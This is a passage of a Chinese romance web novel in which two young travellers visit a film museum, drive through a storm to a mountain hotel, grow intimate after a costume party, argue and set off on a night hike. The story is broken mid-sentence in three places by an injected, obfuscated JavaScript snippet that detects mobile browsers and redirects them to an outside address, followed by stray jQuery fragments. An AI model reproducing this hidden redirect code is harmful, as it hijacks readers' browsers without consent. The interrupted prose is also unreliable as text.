暂时还没确定下一站的目的地,不过他们当下都对这座电影主题的博物馆很感兴趣,决定等参观完之后再商量。 博物馆是私人建造的,不公开售票,免费展览,每日限量接待,在公众号预约即可。 除去一楼铺满整面高墙的电影海报和新旧拍摄器材的展出,二楼还设有独立小厅。 分别以几部经典电影为主题,装修基于影片内容设计,以衍生周边做装饰,厅内的放映屏也只循环播那一部。 比如独属于《泰坦尼克号》的厅里,布景是甲板,周遭则是仿造海上落日的投影灯光。 站在其间,很容易有身临其境的感觉。 何筱舟心神一转,低声念出那句经典台词:“Winningthatticketwas……” “thebestthingthateverhappenedtome.”李既白附和着,补全后半句。 就这样看过几间展厅,两人偶尔来个即兴经典台词接龙的小游戏,或交流几句某部影片的剧情。 行至走廊尽头时,不约而同地停下脚步。 这应当也是一间主题展厅,只是入口没有标注名字。进去才发现,内部也没做相关布置,只简单陈设着一个小投影仪和几排座位。 没有其他游客,李既白直接按了遥控上的重播键。 何筱舟到窗边合上遮阳帘,在最后一排坐下。 是一部微电影,讲述一个女孩替好友复仇,将霸凌者骗进古堡里,在游戏中制造各种巧合和意外让其一一殒命的短故事。 很多意想不到的反转,设置了大量留白,大部分片段都只有女主角的单人出镜,再衔接结果。 演员表现力绝佳,仅靠眼神和表情的细微变化完成不同情绪的切换和场景转变。 oe结局,末尾女孩站在城堡的高点,俯瞰自己的成果,特写镜头里,她的眼睛倒映着闪烁的红蓝相间灯光,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621097|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她满不在乎,露出诡异且自信的笑。 二十多分钟的影片播完,何筱舟意犹未尽,长久坐着没有起身。 李既白大概也一样,他走去入口处,看着墙上贴的影片简介,说:“这部微电影竟然是馆主本人拍的,还是现场取景。” “是吗?在哪里?” 李既白说:“渝宿的温麓山庄。” 他几乎立刻明白了她的想法,开始查地址,“对外开放。” “八百多公里,九小时。” 何筱舟站起身。 李既白问:“现在去吗?晚上估计到不了。” 这会已经是下午四点多,导航上是理想状况下的到达时间,中途肯定需要停车休息,最快可能也得凌晨到达。 “他们也是早上进去的。” 李既白对她的回答一点不意外。 影片中女主角的每一步计划几乎都离不开场地的特殊建筑结构,尽管很大可能是拍摄时为了剧情特意设计的,但还是免不了想实地“沉浸式体验”一番。 就像很多人会因为被电影中的故事触动而对故事发生的背景地心生向往一样。 馆主创立这样一座博物馆或许也是这个原因。 他只是有些惊讶于她竟会对这类题材感兴趣。 何筱舟笑了笑:“你以为我会喜欢看什么?” “科幻类?” “因为我做人工智能相关的工作?” 李既白回:“大概。我也刻板印象了,抱歉。” 五点钟左右的光景,日光仍盛,天空呈现出极其清透的浅蓝色,远处的云被晕染,嵌上一圈淡金色的边线。 离开博物馆,车子迎着夕照,一路向西开去。 渝宿位于西南地区,因为其独特的城市地形和气候条件,一直是诸多悬疑类影视剧首选的取景地。 还有一个很鲜明的特点就是,辣。 何筱舟不太能吃辣,最多接受调味料里出现两颗小米椒,对川菜、湘菜更是敬而远之。 李既白相反,“我吗?特辣选手。” “可你这些天也吃的很清淡?” “我不挑食,都可以。” 离收费站很近,没开多久,车子就驶入高速。 落日时刻,渐而西沉的太阳和云层好像每一秒钟都在发生变化。 何筱舟坐在副驾,手肘撑在扶手箱上,眯眼看着明晃晃的光影,问道:“要我帮你拍照吗?” 李既白点点头,“谢谢,密码六个零。” 晴朗气候下的暮色黄昏,是绮丽到每次抬头看都会被惊艳到的程度,尤其远处还有连绵群山,融合在一起,颇有古画中的意境。 何筱舟数次举起手机,试图留住每一帧不容错过的画面。 直到天色逐渐暗下去。 李既白将车开进服务区,短暂停车休整。 等待何筱舟去洗手间的空隙里,他倚在车前,点开相册翻看刚刚拍的照片。 连续很多张,几乎将完整的日落过程都记录了下来,以比较快的速度翻动时,黄昏余晖便仿佛成了动态的。 此时天边只剩最后一线橘色,李既白当即按开相机,将这一帧补上。 收回手机时,镜头意外捕捉到何筱舟的身影。 她可能不太记得车停在哪里了,正站在入口处的台阶上张望。 她穿着件颜色素淡的衬衫,简单搭一条牛仔裤。 长发在脑后挽成髻,却被座椅压得有些松了,碎发些许凌乱地散在鬓边。 李既白鬼使神差地,在朝她挥手示意前,轻触屏幕聚焦,按下快门。 实况live图里,她身后就是灯火通明的站点大厅,周遭的行人来来去去,而她只静静站在那里,看上去既孤清又疏离,就如这个时间水汽下沉凝聚在草叶上的露珠,给人一种微潮的凉意。 当然,以上是作为旁观者的视角感触。 而经过昨天,他又觉得她不单是这样。 当她渐渐走近,他与她望过来的泠然目光对上时,忽然就想问,她昨晚,真的梦见过他吗? 10. Day Six 重新出发时,最后一点夕阳已彻底没入地平线。 单向三车道,公路平直而宽阔,可视范围内前后却都无车,只能隐约从后视镜里看到白色光团,目测还有很远的距离。 何筱舟换了套歌单。 《TravelingLight》的前奏一响起,搭配窗外漆黑的夜色,忽有种逃脱现状奔向未知的明快感。 走这样的路容易犯困,何筱舟便有一搭没一搭地跟李既白聊天,谈论不久前那部微电影里的细节,聊渝宿的火锅文化,话题渐而延伸到这几天的路线,以及他最开始没能成行的毕业旅行。 津海、桉吴到南岸,由北至南,半途随航班迫降到中部地区。又改道跟她一路向西,兜兜转转,到最后竟然离西藏越来越近。 “不如,我们现在改终点?或者,你的假期可以延长吗?” 何筱舟眨眨眼,从后视镜里看了他一眼。 男生专注地盯着前路,侧脸隐匿在黑暗里,她一时怔住,有点分不清。 以前林湛也常常会有这样计划之外的提议。 不过他很快意识到可能不妥,说:“我随口一提,以后如果……有机会一起去。” 话这么说,但李既白清楚,可能不会再有以后。 假设退团去机场那天没有遇见,他们早已分开,最多就只有酒吧那晚的交集了。 何筱舟想说点什么,冷不丁被后视镜里一晃而过的灯光闪了下眼睛,只能先提醒他。 “后车不太对劲,离它远点。” 原本这辆车一直跟在后面,渐渐加速追了上来,距离很近时才跟刚反应过来似的打转向猛地变道,好在左右两侧车道上没有其他车,避免了一场事故。 “可能是疲劳驾驶。” 李既白说着,稍稍降速,跟它错开些距离。 发生这么个事,不好再闲聊,尤其——李既白余光扫向副驾,何筱舟攥紧扶手,面色已然变得有些凝重。 注意到男生的视线,何筱舟状似无事地笑了下。她只是,潜意识里会对类似的场景感到不安。 很快。 就像是冥冥中要印证她的隐忧一样,往前没开多久,忽有密匝匝的雨点砸下来,车前玻璃上顷刻铺满雨水,车身就这样毫无征兆地一头扎进雨区。 雨刮器已经起不到太大的作用,李既白打开雾灯,看了眼导航,说:“还有五公里到下个服务区,先停车等一会?” 何筱舟点点头,意识到他正全神盯着前方的路况,便轻应了声:“好。” 距离匝道出口几百米时,前车——又是刚刚超过去那辆车,车轮打滑,在公路中央旋转着扭动、后退,然后一声巨响,擦碰到左侧护栏,又朝右滑出一段距离,堪堪要撞上他们的车。 电光火石之际,李既白向右侧变道,及时躲了过去。 而那辆车,调整好方向后,竟也没停车,又不管不顾地继续往前开。 “不知死活。” 他瞟了眼后视镜,冷言说道。 何筱舟讶然地瞧他。 印象中,李既白几乎没有过这样的厉色。 但行为还是得当的,车依然开得很稳妥。 只不过进服务区停好后,他连安全带都没解,立刻拨出报警电话。 “你好,我要举报......” 李既白报出完整车牌号和具体路段,又详细说清楚事情经过,在对面表示了会进行干预后,才长舒了一口气。 电话挂断,他按开安全带卡扣,看向何筱舟,“饿了吗,要吃点什么,我去买。” 她紧绷的情绪一下子松懈下来,忍不住笑开。 因为他前后的反差。怎么形容呢,让她没来由想起好友乔楠家里养的那条阿拉斯加,像有什么开关一样,对不友好的触碰呲牙低吼,转而就能很自如地切换至萌态蹭主人裤腿。 何筱舟放倒座椅,“还不太饿。” 大雨持续地倾泻而下,看样子短时间内不会停。 李既白查完天气预报,有些担忧地说:“大概要下到凌晨左右,估计要在这里过夜了。” “没关系啊。” 何筱舟闭上眼,说:“你有没有试过收集雨声?” “有。” “那你听雨的时候都在想什么?” 李既白如实回答:“一般会很快睡着。” 她坐起身把车内音响的声音调至最低,“试试。” …… 李既白体感睡了很长的一觉,醒来看时间,才过去半小时。 睁眼放空了会,后知后觉感到些不自在。 他尽量放轻动作,戴上耳机,听了几篇德语阅读,再做了几节英语听力,结果,困意越来越淡。 最后索性什么都不做,反枕着手看外面的雨。 车窗玻璃全部被雨幕覆盖,世界好像都变得模糊,而车里的一切却都清晰可闻。 气味—— 昨天在兰岳的杏南路步行街,何筱舟买了罐车载香氛,很淡雅的味道,此时却觉得存在感极强。 呼吸—— 她稍稍侧着头,轻浅的气息像落在他耳边。 李既白闭了闭眼,倾身取来她随手搁在后座上的针织衫,动作放轻,盖在她肩头。 退开时,注意到她散开的头发,有点凌乱地贴在她脸侧,可能有点痒,她不自觉皱了皱脸。 他不由地伸出手,想帮她理到耳后,指尖碰到她柔软的发丝时又猛地顿住。 颓然地撤回手,他重新仰靠回座椅。 哦对,还有歌声—— 《FiveHundredMiles》,旋律悠扬,透着股惆怅。让他恍惚觉得,这个雨夜,好像没有尽头…… * 何筱舟轻手轻脚地下了车。 雨后,晨间的空气很是清新,她舒展了下腰肢,走去卫生间洗漱。 经过便利店时,买了些简单的早餐。 回到停车处,李既白也已醒转,可能没睡好,清俊面容上堆满怔忪。 她径直走去主驾拉开车门,扬起笑容,“早。” 李既白感受到微烫的阳光,条件反射地眯了眯眼。昨晚到后来,雨越下越大,哗啦啦的,扰得他更难入睡。这会倒像是从没下过这场雨似的。 他去洗漱,朝脸上泼了捧凉水后才觉清醒一点。 中午时分,抵达位于渝宿郊区的温麓山庄。 但到了才发现,实际跟想象中存在很大偏差。 这里与电影中的场景已经完全不同。 花园里大片红艳欲滴的玫瑰变成绿油油的草坪,房间颇有质感的拱形门全部改成了规整的方形,中厅的旋转楼梯也被拆掉,装饰成休息区。 随行的工作人员解释道:“这里原本是私人的,您说的那部微电影,据说导演跟主人有私交,才被允许拍摄的,后来不知道什么原因,原主人低价把这里卖掉,新老板整体翻修过,改成庄园式酒店。” “不过,旁边那一栋侧楼现在专门提供给剧组租用,有很多电视剧都在这里取景。” 路途中这么多波折,赶到却扑了个空。 李既白听完,不免有些遗憾,“来之前,我应该多查点资料。” 何筱舟却十分坦然地接受了这个结果。 对于随意的一时兴起,她通常会做好最坏的心理准备,去承接预期之外的回馈。 她淡然地提议:“不过这里环境很好,我们还没订酒店不是吗。” 跟工作人员咨询了价格,不是特别贵。 其实本质上和桉吴的度假村差不多,只是服务方面更完备。 最后订了中心主楼三层带露台的套房,两间大卧室,还有客厅。 位置依山傍湖,站在露台上,能看到不远处被云雾缭绕着的青蒙山峦。 “不如后面几天就待在渝宿?” 何筱舟背身倚在半人高的围栏上,侧身望着李既白,下巴懒洋洋地搁在肩头。 “好啊。” 和她的视线对上,不免又想到昨夜那场好像要倾覆一切的大雨,李既白忽然觉得住套房或许是个错误的决定。 这个想法在心头打了个旋,轻飘飘飞走。 但没想到,很快竟得到了验证。 酒店每月会举办一次化装晚会,场地设置在侧楼的一层大厅,还给提供各式服装和化妆用具。 下午两人没有离开温麓山庄,各自在房间里休息,到晚饭时间到餐厅简单吃点,就去了服装间。 有很多经典角色的衣服,几个住客正在落地镜前兴致勃勃地换装、拍照。 何筱舟在几排衣架间梭巡了一圈,最后只拿了两条领带和一副面具。 李既白下午洗过澡睡了一觉,换了套衣服。 月白色的衬衫,袖子虽然很随意地半挽到手肘处,但仍板正得能立刻作为学生代表站上演讲台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621098|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因此何筱舟挑领带时,特意选择非常规的款式,一条是黄色系底的手绘款,四散着花鸟鱼虫的简笔画,另一条则是异形刺绣领带,小狗图案。 何筱舟掂量着那两条领带,又打量他片刻,随意问道:“我帮你弄?” 李既白原本坐在高脚椅上,闻言迟疑了下,换了个坐姿,改为单腿支地。 她走到他身前站定,抬手将领带绕上他的脖颈。 她好像不习惯直接喷香水,只洒些在发圈上,味道很浅,但清淡好闻。 不止发间会有,头发散下来时,她会把发圈戴在手腕上,香气便会蔓延。 李既白屏息,配合她的动作,先低头,又扬起下巴,只想让这个过程再快一点。 然而,味道可以物理屏蔽,触感却不能。 拨衣领时,她的指尖会似有似无地挨到他颈间的皮肤。 李既白闭上眼,十分不自然地滚了滚喉结。 “你头发是自然卷吗?” “嗯。” 何筱舟系好领带,往后退了一小步,仔细端详着,觉得好似缺了点什么。 她半拢起手指,做了个抓握的动作,“介意我理一理你的发型吗?” 他摇摇头。 何筱舟揩了些许发蜡,捋着他额前的刘海往斜侧边后拨,暴露出英挺的眉骨。 她后退,倚在化妆桌旁,边用湿纸巾慢条斯理地擦手指,边审视着自己的成果。 嗯,现在看上去几乎完全一样了。 总算整理完,李既白暗自松了口气。 他看向旁边的化妆镜,两条领带叠搭,松垮地挂在颈间,使得他整个人看上去多了几分懒散的不羁。 何筱舟单手撑在化妆桌上,正在补口红,从镜中注意到他有些不适应的样子,心念微动。 她把头发散开,扣上面具,只露出半张脸。 然后,她伸出手,弯唇笑着对李既白说:“嘿,优等生,现在是逃课时间。” 李既白目光不错地注视着她。 照旧是殷红的唇色,但眉眼和挺直鼻梁都被遮住,看不真切,便不再有距离感,反而变得神秘、引人探究,像古老传说中幻化成人的清美女妖。 他被内心深处的声音驱动着,难以自控地斩断所有纷乱不堪的念头,主动覆裹住她的手。 掌心相扣的瞬间,有微弱的电流贯通全身。 好似世间万物都在塌陷、沉没,而他只与她衔接。 大厅里人影憧憧。 唱片机的声音颇有质感,正播着爵士乐。 简直能称得上是著名影视人物的串场集会。 人们穿着各式各样的新奇服装,在角色的庇护之下释放自我,卸下平日的职责,伴着悠扬的音乐谈天说地、翩然起舞。 何筱舟找了个空位坐下。 李既白则走去吧台要了两杯威士忌。 回来时,他看到有个男人站在何筱舟身边,伸着手,好像是要邀请她共舞。 他隔着人群瞻望,回过神后的第一反应是低头看自己的穿着。 何筱舟今天穿了条斜开衩长裙,修长白皙的双腿若隐若现。裙子是简约的黑色,没有多余装饰,独有种高级的冷艳。 男人着同色系西服,剪裁得体,头发打理得一丝不苟,一副英伦绅士派头,看上去跟她极合衬。 两人聊了几句,何筱舟大概注意到他,抬手朝这边指了指。男人跟着看过来,表情颇有些遗憾地耸耸肩,转身离开。 李既白立在原地,直到何筱舟朝他走来。 灯光昏昧,她戴着面具,他好像只能注意到她绯红的唇,不由思绪飘忽,想到古镇那晚。 “怎么不过来?” “担心会打扰到你。” “哦,你确定吗?” 李既白没说话。 何筱舟从他手里拿过酒杯,摇了摇杯中的酒液,幽幽道:“你不早说,我刚才跟他说我有男伴了。” 李既白胸中一动,动作比理智先行。 在她转身之际,攥住她的手腕。 酒里放了冰块,不知他握了多久,贴着她皮肤的指腹冰凉到让何筱舟忍不住颤栗。 “刚才是假话。” 何筱舟饶有兴味地盯着他,等他的后续。 李既白捏紧另一只酒杯,一口气喝下大半。 “真话是,我怕我会忍不住当着他的面吻你。” 11. Day Seven 李既白内心并不像表面那么坦然。 实际上,他对自己的想法很不齿。 而如果要回溯,苗头大概出现在前天晚上。 电话里,她声音里的颗粒感不再清晰,变得柔软又缱绻,听上去很亲昵,就像是在和情人耳语。 尤其在她半睡半醒间含糊着说出那句“我今晚只会梦见你”之后,他的嗓子突然被什么柔软的鸟类羽毛挠了一样。 痒、渴,喝多少水都无法消解。 之后这种感觉一直存在,并且,在雨夜的车里,在她给他系领带的时候......愈演愈烈。 陌生且异样的冲动在他身体里随血液循环奔流,终于,在作为旁观者目睹了她被搭讪后,他抓住了源头—— 他想靠近她,毫无缘由的。 周遭的热闹仍在继续。 衣香鬓影的场合里,他们是其间再寻常不过的一对成年男女,无论发生什么故事都在情理之中,没有人会过分注意。 何筱舟摘下面具,指尖漫不经心地绕着侧边的系绳,“为什么要忍住?” “那样不对。” “哪里不对?” 李既白看向她,昏暗灯光下,乌墨般的眉低低压下来,使得眼睛如深潭一样,望不见底。 “场合不对,关系也不对。我们才认识多久,连朋友也算不上。” 何筱舟忽然笑了,“你会和朋友接吻吗?” “不会。” “但你难道会和陌生人接吻吗?” “会啊,”她踮脚凑近他耳畔,嗓音里的颗粒感变得具象化,像有极细的沙粒在他心尖摩擦,“第一天见面,我亲过你不是吗。” “还有,你觉得我们现在还是陌生人吗?” 话说完,她缓缓向后退了一小步,拉开些距离,把最后的选择权留给他。 李既白有点无措。 她总是这样游刃有余,时远时近的,这一秒还亲密得引人遐想,下一秒,就能像什么也没发生过一样恢复正常社交距离。 他默了片刻,喝完剩余的酒,重新握住她的手。 离开晚会场地,归还领带和面具,穿过侧楼和主楼之间的小径,乘电梯上楼。 何筱舟一路被李既白牵着回到房间。 门关上,他却没开灯,也没有开电源。 玄关有个小储物柜,李既白转身很轻松地抱起她,让她坐在上面。 黑暗里,他迟迟没有下一步动作,好像他的决心只够支撑到这里了,再难继续下去。 不知过了多久,他颓然低下头,埋首于她颈间。 初夏,室内闷热异常。 他湿热的鼻息全数喷洒在她光裸的肩颈皮肤上,激得她体内难以抑制地涌出一股子燥意。 “我……”李既白欲言又止。 何筱舟轻轻拍了拍他的肩膀,耐心地说,“先开灯好吗。” “我有点热。” 他依言打开空调,灯光乍亮的瞬间,何筱舟条件反射地闭了闭眼。等完全适应了光线,男生倏然凑近,贴了贴她的唇角。 只是极轻极快的一碰,结束便立刻退开。 但他仍保持双手撑在她身侧的站姿,目光沉定地盯着她瞧。 似乎在确认,或者是,在等她发出下一个信号。 何筱舟坐在柜面上,双脚悬空。 久违地被这双熟悉的眼睛以这样的眼神注视着,她有些难以抑制地心跳加速,好似在下坠,有轻微的失重感。 她失神地捧住他的脸,以目光一寸寸描摹。 李既白几乎要被她双眸里的水光淹没。 连同残存的理智一起。 他没有再犹豫,双手上移搂住她的腰,唇迎上去,严丝合缝地贴紧。 只是贴着,动作生涩得就像还未成熟的青柠。 何筱舟也好不到哪去。她在心底狠狠鄙视自己病态的行为,胸腔内一阵接一阵泛起细密的疼。 但望梅止渴总好过无边无际的空洞。 她双手绕上他的脖颈,衔咬着他的下唇,轻柔地一点一点撬开他的齿关。 李既白扶在她腰际的手僵硬了一瞬,顷刻收得更紧。他开始试探着,毫无章法、仅凭本能地回应她。 和风忽变,催生骤雨。 屈从于荷尔蒙和多巴胺,轻浅的吻渐而演变成激烈的纠缠。是索取,亦是献祭,他们好像都需要从这样剧烈的情绪起伏中得到或是确认些什么。 愈来愈粗重的呼吸和逐渐升高的体温就是最有效的兴奋.剂。 何筱舟蹬掉脚上的细高跟,“去房间......” 李既白俯身勾住她的腿弯,抱起她就近拐进一间卧室,长腿轻巧地一撇,将门关上。 她陷进柔软的床褥。 他的身体与亲吻一同倾覆下来。 * 清晨,何筱舟醒来时,看到李既白熟睡的侧脸,一时恍惚到不知今夕是何年。 昨晚没有做到最后一步。 他们都没有安全套。 曦光自透过窗帘映进来,何筱舟翻身仰躺着,若有所思地望着天花板。 她在斟酌,该如何收场。 原本想等最后一天再收线,现在的发展有点脱离她的预想。 “早。” 何筱舟兀自沉在飘忽的思绪里,冷不丁听到男生嗓音微哑的问候,吓了一跳。 “早。” 李既白看起来却并没有什么异常,走去卫生间洗漱,回房间经过客厅时还给她带来一瓶矿泉水。 “晚上去夜爬怎么样,明早可以看日出。” 他神色自然,好像昨晚什么都没有发生过,他们还和之前一样,只是路上临时结伴的旅游搭子。 “好啊,”何筱舟拥着被子坐起身,拧开瓶盖喝了口,“那是不是要先买点装备?” 他点点头,“我列好了清单,下午去。” “那上午呢?” 李既白立在窗边,闻言回身看她,意味深长地说:“你需要补觉吗?” 何筱舟没有觉出他语气里的异样。 她松了口气,放心地睡了个回笼觉,到十点左右,开车出发市区。 午饭去了一家开在闹市区居民楼里的火锅店,李既白照旧在公园里找本地人帮忙推荐的,味道很正宗。 何筱舟试着夹了一筷辣锅里的青菜。 刚吃下去,就感觉滚烫的热气从胃里向全身蔓延,鼻尖立时冒出汗珠。 她喝空了杯子里的水,仍觉辣气灼烧,便伸手去够李既白的杯子,他喝可乐,冰镇过的,少见的不自律,现在看起来却很有先见之明。 李既白眸色暗了暗。 因她这样无意识且自然的亲昵举动。 趁吃饭时间,他们看了好几个知名博主的视频,在李既白列的清单里,加了两条,保暖薄羽绒服和雨衣。 虽说现在白天的气温已经到了三十度左右,但难保晚上不会降温,渝宿是出了名的气候多变城市,山里的天气更是难以预料。 当地的织雾山很出名,一年到头都有很多登山爱好者徒步,因此有不少种类齐全的爬山装备店铺,基本上在一家店里就能买齐所有。 之后又去超市,添了些必备的食物补给。 结账时,何筱舟很自如地从收银台旁边的货架上取了两盒计生用品。 李既白站在另一头往购 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621099|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物袋里装东西,拣到那两枚硬盒时,动作不由一滞。 他冷涩地勾了勾唇,捏起来,丢进袋子角落。 购入全部所需的物品回到山庄酒店时才刚天黑。 按正常爬山速度,四个小时左右登顶。 日出大概在清晨五点钟左右,凌晨之前进入织雾山就能赶上。 车子开进地下停车场,何筱舟看了眼时间,说:“休息好之后再出发吗?” 李既白轻应一声,却抬手按下车锁。 何筱舟不解,递去一个疑惑的眼神。 他握紧方向盘,竹节一般好看的手指用力到泛白,好像花了很大力气才下决心问出口。 “你前男友,是不是姓林?” 她背脊瞬间窜起一阵激流,他怎么会知道? “我怎么知道?” 李既白按开安全带的卡扣,“咔嗒”一声,像某个半悬在空中的易碎品落了地。 何筱舟心口一紧,看过去,他表情僵硬,浮着一层薄薄的戾气。 不明显,但与他平日里的状态大相径庭。 “昨天晚上,你睡在我身边,叫他的名字。” 何筱舟恍然。 她的确是梦见了林湛,但她自己也不知道,她会说梦话。 “你这是在质问我吗?还是在生气?” 何筱舟笑了笑,觉得无论是哪个原因都很荒谬,“为什么?” “你如果还爱他,我们就不能这样……” “你是不是想多了,只是睡一觉而已,还要求身心统一?” 何筱舟出声打断他,撑在扶手箱上,伸手去够他那边车门上总控锁的开关。 忽地想起什么,她仰背倚住方向盘,紧盯着他,“而且,李既白,你是不是忘了,昨天说想吻我的人,是你。” 距离够近,何筱舟清楚地看见他眼里瞬间翻涌上来的灰败与难堪。 她心一沉,没再说什么,直接开了锁。 然后下车径直走到后备箱处,将下午买来的物品一一挑拣,均分成两份,提着自己那一份离开。 从车前走过,余光瞟见他仍坐在车里没动,她脚下顿了顿,转身走回到驾驶位一侧,拉开车门。 “另外的装备留给你了,明天下山后,我就会回津海。” “至于车子,租车公司应该有上门回收的服务,我来处理。当然,如果你有时间去退,我可以付你一部分钱。” 李既白用力闭了闭眼,下车。 他掌住车门,高大而挺拔的身形将她围困在他和车身之间,清越的声音里带着隐约的怒气,“又是钱吗?何筱舟。” 她立刻想到这场旅行的开端,一时噎住。 车库里安静极了,他的胸膛近在咫尺,好似有汩汩热息不停地扑向她,她几乎能听到他沉稳的心跳。 她不语,他也一同沉默。 许久后,李既白再开口时,声音已恢复如常,只是有些微微沙哑。 他清了清嗓子,缓缓道:“爬山我跟你一起去,晚上你一个人很危险。” “之后,你要回去的话,其他的事我来处理。” 何筱舟咬紧下唇,忽然涌出负罪感。 她不确定他的反应是他的修养使然,还是其他。 但她知道,是她甩钩把他拽进这滩泥泞里,也是她自私地徐徐放线引诱他越来越深入。 事实上,她刚才所有竖起的刺,都是因他的反常表现而生出的隐秘担忧。 如果,如果答案是肯定,她必须及时切断。 “那你今天在别扭什么,你喜欢我?” 何筱舟这样问道,目光灼灼地盯着他,生怕错过他一丝微表情。 12. Night Seven 李既白恋爱经历为零,但是在他的概念里,喜欢应当有循序渐进的过程,不该是这样没有逻辑毫无根据的短暂性生理吸引。 他关上车门,双手垂下来,说:“不是。” 至于第一个问题,其实从昨晚到现在一直困扰着他。 他有些懊悔。 本意是想叫停这样有些失序的发展,话说出口却变了味。 而何筱舟好像对他的回答很满意,表情平淡地点了点头,没再多说什么,回了房间。 * 晚上十一点钟左右,何筱舟整理好装备,背上包,准备出发。 待在房间里总是能隐隐约约听到他那边的动静,去洗手间或者是拿东西也会碰见。 很别扭,有种同居的情侣吵架冷战后还得暂时同处一个屋檐下的感觉。 所以她刻意比下午沟通过的时间早出门了一小时。 谁知,到了停车场,却见李既白正闲散地坐在主驾,估计在这里等她有一段时间了,杯架里搁着的瓶装水已经快要见底。 行,现在还得同乘一辆车。 何筱舟把背包搁进后座,上了副驾。 车子开出地下层时,她余光瞟见李既白几不可查地弯了弯唇。 她落下车窗,深吸口气。 越往远郊开,风越清透,轻盈地将她胸腔里淤积多时的闷燥感冲散了些。她闭上眼,手指搭在窗沿上轻敲,斟酌着该怎么开口。 意识到自己在下意识做补救,她不由一个激灵。 搞什么,真当是在和男友闹别扭吗? 何筱舟脑中警铃大作,坐直身体,把在播的歌单换成单独设置的一个摇滚合集。 李既白由她折腾,在激燥的音乐声中安静地开着车,车速稳到仪表上的数字几乎没有变化。 织雾山距市区大概八十公里,位于渝宿西南方,从温麓山庄过去相对近一点,导航预计二十多分钟。 不算长的一段路,也就五-六首歌。 何筱舟跟着《无地自容》的节奏自得地小幅度晃腿,压根没有察觉到车子细微的变化。 “抓好扶手。” 是李既白突然出声,她才发现了不对劲。 何筱舟循声看过去,仪表盘上正闪着紧急预警提示,而车身好像也在朝着右侧稍稍倾斜。 “估计爆胎了。” 李既白当即按开双闪,慢慢减速,靠边停了车。 所幸是市郊的公路,宽阔,一马平川,街面上也基本没什么车,停在辅路很稳妥,不会影响交通。 李既白还是按标准放好三脚架。 他从后备箱取了工具,又拿出下午刚买的爬山用的头灯,作势要打开备胎罩。 “你准备自己换?” 何筱舟本打算打电话叫道路救援,愣愣地看着他一系列动作,惊讶地问道。 “我们租车的时候不是问过工作人员吗,可以换,备胎也在使用年限内。” 问是问了,实操是另一回事...... 男生正在摘备胎,好像察觉到她的顾虑,“咚”的一声,把轮胎搁在地上,手撑住,带点揶揄地问,“你是害怕吗?何筱舟。” 她被他戴着的头灯光线晃了下眼,下意识抬手遮在额前,却见男生唇角扬起极浅的弧度,透着自信,却并不张扬,“放心,看过教程。” 事实的确跟他说的一样,他很熟稔地用千斤顶将车身顶高了些,再卸装轮胎。 整个过程结束,他身上的白T还干干净净,只除了单膝杵在地上时裤腿稍微沾了点灰尘外,仍是很清爽的样子。 他拿了瓶水走到路牙边冲手,对她说:“扶手箱里有湿纸巾,帮我拿一下?” 何筱舟依言走到副驾,开了车门。 却没摸到包装,反被储物格内微弱的亮光吸引了注意力。 她爬上车座去瞧,竟是萤火虫。 用玻璃罐子装着,在昏暗的车厢里明明灭灭的,像漆黑夜空里四散的星子。 除此之外,还有两枝黄玫瑰。 准确来说,应该是两朵,因为枝茎被剪去,只留下一小截,花瓣也有些枯萎了,不太新鲜的样子。 幼稚的小把戏。 何筱舟一下子松懈下来,竭力绷住脸,才忍着没笑出来。 她合上扶手箱,扶住车框,上半身探出去对他说:“没有湿纸巾。” “哦,忘了,”李既白走过来,屈身打开她身前的储物箱,淡淡道,“放这里了。” 男生起身时,何筱舟嗅到熟悉的清冽草木气息,不免心神一荡。 还是忍不住好奇,她重新打开,取出那个小玻璃瓶,捧在手里看。 “哪里有萤火虫?” 李既白擦干净裤腿上的灰尘,直起身,低笑了声,“差点以为你不感兴趣。” “酒店附近有湖,你记得吗?湖边树林里抓的。” 何筱舟问:“那花呢?” “昨天晚会,酒店布置场地剩下的。” 何筱舟手指在玻璃瓶外壁上轻轻敲了下,原本靠近边缘的萤火虫立刻飞向另一端。 她又仔细端详了会,忽地揭开盖子,手伸向车外,将它们尽数放飞了。 望着四散开的萤光,何筱舟问:“要是没有爆胎这档子事,你怎么往这上面引?” “让你帮忙拿湿纸巾。” 她笑开:“很生硬啊这样!” 再出发,气氛完全轻松下来。 路上耽误了一段时间,到达织雾山的时候,时间已过凌晨。 有许多和他们一样来夜爬的游客,还有些举着拍摄设备直播的网红博主,一群人来自五湖四海,怀着同样的目标,身处其间,好像有强大的磁场力量,让人有热血上涌的感觉。 何筱舟忽然来了兴致,开始之前,向李既白下战书,“比一比谁先登顶?” 他冲她扬了扬眉,“你确定?” 